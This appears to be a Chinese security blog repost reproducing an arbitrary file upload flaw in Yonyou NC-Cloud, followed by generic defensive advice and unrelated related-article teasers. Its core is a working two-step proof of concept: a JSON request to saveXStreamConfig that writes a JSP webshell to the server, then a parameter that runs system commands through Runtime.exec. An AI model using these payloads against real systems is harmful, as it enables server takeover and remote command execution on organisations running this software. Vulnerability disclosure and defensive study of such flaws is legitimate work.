用友全版本任意文件上传漏洞复现

news2024/11/29 2:31:54
声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
 

漏洞原理

用友NC-Cloud最近爆出存在全版本任意文件上传漏洞的问题。现在已经确认了这个漏洞可以被攻击者利用,目前不明确此漏洞适用的最低版本。攻击者可以通过该漏洞将任意文件上传至服务器,并以此将webshell上传至服务器,从而获得服务器的命令执行权限。

漏洞利用

利用此漏洞需要俩段poc

第一段POC:

{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}

 执行后有两种结果,一种是404了,另一种是200,经测试这两种回显都是上传成功。

第二段POC来进行命令执行:

cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream())

 漏洞复现-POC

 防御建议

要防御用友NC-Cloud的全版本任意文件上传漏洞问题,以下是一些常见的防御措施:

  1. 及时升级补丁:确保用友NC-Cloud的软件版本处于最新状态,及时应用由供应商发布的安全补丁和更新。这有助于修复已知漏洞并提高系统的安全性。

  2. 限制文件上传:通过限制用户上传文件的类型、大小和目标路径,可以有效减少任意文件上传漏洞的风险。例如,验证文件扩展名和内容,使用白名单机制,只允许特定的文件类型上传。

  3. 文件上传验证:在服务器接收到上传文件时,进行文件验证是很重要的。可以使用安全的文件验证机制,例如校验文件的魔术字节、文件头信息、文件结尾等,以确保上传的文件是预期的有效文件,并阻止上传恶意文件。

  4. 强化访问控制:实施严格的访问控制措施,包括强密码策略、角色权限管理和多因素身份验证,以减少未授权访问和滥用漏洞的风险。

  5. 安全审计和监控:实施安全审计和监控机制,定期检查系统日志、访问日志和上传文件日志,及时发现异常活动和潜在的攻击行为。

  6. 安全教育和培训:对系统管理员和用户进行安全教育和培训,提高其安全意识,让他们了解常见的安全威胁和最佳实践,以便正确地使用系统和应对潜在威胁。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/793087.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大数据技术之Hive1

目录标题 1、Hive基本概念1.1 定义1.2 优缺点1.3 Hive架构原理1.4 hive和数据库比较 2、Hive安装2.1 Hive 安装地址 1、Hive基本概念 1.1 定义 hive是基于hadoop的一个数据仓库工具,可以将结构化数据文件映射成一张表,并提供类SQL查询功能。 本质&…

(202307)wonderful-sql:复杂一点的查询(task3)

教程链接:Datawhale - 一个热爱学习的社区 知识学习 1 视图 视图是一张虚拟的表。《sql基础教程第2版》用一句话非常凝练的概括了视图与表的区别---“是否保存了实际的数据”。 通过定义视图可以将频繁使用的SELECT语句保存以提高效率。通过定义视图可以使用户看…

OSCP最新考试QA

枚举提示 初始枚举 对你的目标进行光线扫描。 例如,扫描您的考试机器上的10个常见端口。 在等待彻底和更长时间的扫描时,手动与找到的服务交互。 仔细列举 避免对多个目标进行大量扫描。 运行不安全扫描后还原计算机。 重新运行扫描以确保所有信…

进程线程间的通信

进程和线程之间有很多种方法进行通信,如下是需要掌握的通信方式: 无名管道(pipe)有名管道(fifo)信号(signal)共享内存(mmap) 本文章代码存放在GitHub中的UNIX…

libhv之hloop源码分析

1int hloop_run(hloop_t* loop) hloop_run总结: 1.loop状态判断和管理 2.loop的flags管理(HLOOP_FLAG_QUIT_WHEN_NO_ACTIVE_EVENTS,HLOOP_FLAG_RUN_ONCE,HLOOP_FLAG_AUTO_FREE) 3.创建custom event通信fd,方…

Docker consul容器服务更新与发现

Docker consul容器服务更新与发现 一、什么事服务注册与发现二、什么是consul三、consul部署1、consul服务器2、registrator服务器3、consul-template 一、什么事服务注册与发现 服务注册与发现是微服务架构中不可或缺的重要组件。起初服务都是单节点的,不保障高可…

MyBatis学习笔记之高级映射及延迟加载

文章目录 环境搭建,数据配置多对一的映射的思路逻辑级联属性映射association分布查询 一对多的映射的思路逻辑collection分布 环境搭建,数据配置 t_class表 t_stu表 多对一的映射的思路逻辑 多对一:多个学生对应一个班级 多的一方是st…

STM32 中断优先级管理(一)

STM32 NVIC 中断优先级管理 CM3内核支持256个中断,其中包含了16个内核中断和240个外部中断,并且有256级的可编程中断设置。 但STM32并没有使用CM3内核的全部东西,只用了一部分。 STM32有84个中断,包括16个内核中断和68个可屏蔽…

Windows数据类型LPSTR学习

Windows在C语言的基础之上又定义了一些Windows下的数据类型;下面学习一下LPSTR; LPSTR和LPWSTR是Win32和VC所使用的一种字符串数据类型。LPSTR被定义成是一个指向以NULL(‘\0’)结尾的32位ANSI字符数组指针,而LPWSTR是一个指向以NULL结尾的64…

Fiddler使用教程|渗透测试工具使用方法Fiddler

提示:如有问题可联系我,24小时在线 文章目录 前言一、Fiddler界面介绍二、菜单栏1.菜单Fiddler工具栏介绍Fiddler命令行工具详解 前言 网络渗透测试工具: Fiddler是目前最常用的http抓包工具之一。 Fiddler是功能非常强大,是web…

探秘MySQL底层架构:设计与实现流程

前言 Mysql,作为一款优秀而广泛使用的数据库管理系统,对于众多Java工程师来说,几乎是日常开发中必不可少的一环。无论是存储海量数据,还是高效地检索和管理数据,Mysql都扮演着重要的角色。然而,除了使用My…

全网最牛,Jmeter接口自动化-读取用例执行并结果回写(详细整理)

目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 1、环境准备 下载…

(vue)vue项目获取日期 时间 星期

(vue)vue项目获取日期 时间 星期 效果&#xff1a; 代码&#xff1a; <div class"top-time"><div class"time-currentDate">{{ currentDate }}<div class"time-img"><img src"/assets/image/icon-time.png" a…

曲面显示器和平面显示器有什么区别?

电脑显示器的选择非常重要。除了现在平面显示器和曲面显示器也很流行之外&#xff0c;曲面显示器和平面显示器有什么区别呢&#xff1f;我们来看看曲面显示器和平面显示器的优缺点 如今&#xff0c;曲面屏显示器已成为主流。为电脑配置一个好的显示器非常重要。市场上有许多计算…

记录联想拯救者R720重装系统

文章目录 bios里找不到U盘启动项2023.7.23重装系统后数据记录C盘内存修改默认AppData的路径&#xff08;亲测&#xff0c;没用&#xff09; bios里找不到U盘启动项 制作好启动盘后&#xff0c;开机按F2进入bios后&#xff0c;找不到U盘启动项&#xff0c;如下图所示&#xff1…

常见面试题之设计模式--责任链模式

1. 概述 在现实生活中&#xff0c;常常会出现这样的事例&#xff1a;一个请求有多个对象可以处理&#xff0c;但每个对象的处理条件或权限不同。例如&#xff0c;公司员工请假&#xff0c;可批假的领导有部门负责人、副总经理、总经理等&#xff0c;但每个领导能批准的天数不同…

(原创)自定义DialogFragment以及解决其内存泄漏问题

前言 日常开发中&#xff0c;dialog是常见的功能&#xff0c;我们时常需要弹出来一些弹框提示用户 今天就定义了一个方便的dialog基类BaseSimpleDialogFragment&#xff0c; 支持快速地显示一个dialog 主要功能有&#xff1a; initAnimation&#xff1a;设置入场和出场动画 ge…

【青书学堂】管理学基础(直播课) 第一学期 考试

【青书学堂】计算机组装与维护(直播课) 第一学期 考试 标题最终成绩:83.34 分 注意:答案仅供参考 第1题 单选题 梅奥的霍桑试验表明( )。 A:非正式组织对组织目标的达成是有害的 B:非正式组织对组织目标的达成是有益的 C:企业应采取一切措施来取缔非正式组织 D:企业应该…

【Unity3D日常开发】Unity3D中比较string字符串的常用方法

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址我的个人博客 大家好&#xff0c;我是佛系工程师☆恬静的小魔龙☆&#xff0c;不定时更新Unity开发技巧&#xff0c;觉得有用记得一键三连哦。 一、前言 字符串string的比较有很多方法&#xff0c;比如&#xff1a; …

【动态规划】简单多状态

文章目录 动态规划&#xff08;简单多状态&#xff09;1. 按摩师2. 打家劫舍 ||3. 删除并获得点数4. 粉刷房子5. 最佳买卖股票时机含冷冻期6. 买卖股票的最佳时机含手续费7. 买卖股票的最佳时机 |||8. 买卖股票的最佳时机 IV 动态规划&#xff08;简单多状态&#xff09; 1. 按…